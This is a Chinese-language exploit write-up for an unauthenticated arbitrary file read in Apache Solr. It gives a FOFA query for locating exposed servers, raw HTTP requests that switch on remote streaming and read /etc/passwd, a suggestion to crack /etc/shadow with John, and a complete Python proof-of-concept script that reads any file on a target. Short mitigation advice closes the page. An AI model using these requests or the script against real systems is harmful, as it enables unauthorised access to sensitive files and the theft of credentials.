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Apache Solr 全版本存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标系统的敏感文件
全版本
fofa搜索标题:app="Solr" || app=""Apache-Solr"
下载Solr进行解压缩:
https://solr.apache.org/downloads.html #solr下载
进入Solr的bin目录执行命令:
./solr strat
访问url,出现如下页面即为启动成功。
http://192.168.153.7:8983
此时启动的solr是没有核心进行索引和搜索的。
./solr create -c# 创建一个数据驱动模式的核心
访问url:
http://192.168.153.7:8983/solr/admin/cores?indexInfo=false&wt=json
burp数据包为:
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1 Host: 192.168.153.7:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
再使用burp进行POST请求:
POST /solr/henry/config HTTP/1.1 Host: 192.168.153.7:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 84 {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
当出现"This response format is experimental. It is likely to change in the future." 表示存在漏洞。
进行文件读取:
POST /solr/henry/debug/dump?param=ContentStreams HTTP/1.1 Host: 192.168.153.7:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 35 Content-Type: application/x-www-form-urlencoded stream.url=file:///etc/passwd
也可以读取shadow文件然后进行john爆破出密码:
POC脚本:
(PeiQi师傅,永远的神!)
# coding=utf-8 # Apache Solr 全版本任意文件读取 # Fofa:app="Apache-Solr" || app="Solr" import requests import json import sys import time def title(): print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+") print("+~~~~~~ Apache Solr 全版本任意文件读取 ~~~~~~+") print("+~~~~~~ Use: python3 solr.py ~~~~~~+") print("+~~~~~~ url: http://x.x.x.x:port ~~~~~~+") print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+") time.sleep(2) def get_name(url): url_1 = url + "/solr/admin/cores?indexInfo=false&wt=json" try: res = requests.get(url=url_1) #将json数据python字典话 name = str(list(json.loads(res.text)["status"])[0]) print("[!] 获取到目标系统name:\033[31m%s\033[0m"%name+" [0]"+"URL:"+url+"/solr/"+name+"/config") return name except Exception as e: print("[!] 目标URL无法进行利用。",e) sys.exit(0) def check_vul(url,name): url_2 = url +"/solr/" + name + "/config" data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' try: res = requests.post(url=url_2,data=data) if "This response format" in res.text and res.status_code == 200: print("[!] \033[31m目标系统存在漏洞\033[0m") else: print("[!] 目标系统不存在漏洞") sys.exit(0) except Exception as e: print("[!] 目标系统请求失败") sys.exit(0) def read_files(url,name,file_name): url = url + "/solr/" + name + "/debug/dump?param=ContentStreams" # 此处必须要加content-type,否则读取不到文件 headers = { "Content-Type" : "application/x-www-form-urlencoded" } data = "stream.url=file://{}".format(file_name) try: res = requests.post(url=url,headers=headers,data=data) if "No such file or directory" in res.text: print("[!] 目标系统读取文件失败!") sys.exit(0) else: print("正在读取文件..........") content = (json.loads(res.text)["streams"][0]["stream"]) print("[o] 读取文件内容为:\n\033[34m{}\033\0m".format(content)) except Exception as e: print("[!] 目标系统似乎意外中断了",e) sys.exit(0) if __name__ == "__main__": title() url = str(input("\n[!] 请输入目标系统URL: ")) name = get_name(url) check_vul(url,name) file_name = str(input("[!] 请输入要读取的文件:")) read_files(url,name,file_name)
由于目前官方不予修复该漏洞,暂无安全版本。
1. 开启身份验证/授权
2. 配置防火墙策略,确保Solr API(包括Admin UI)只有受信任的IP和用户才能访问
3.禁止将Apache Solr放置在外网
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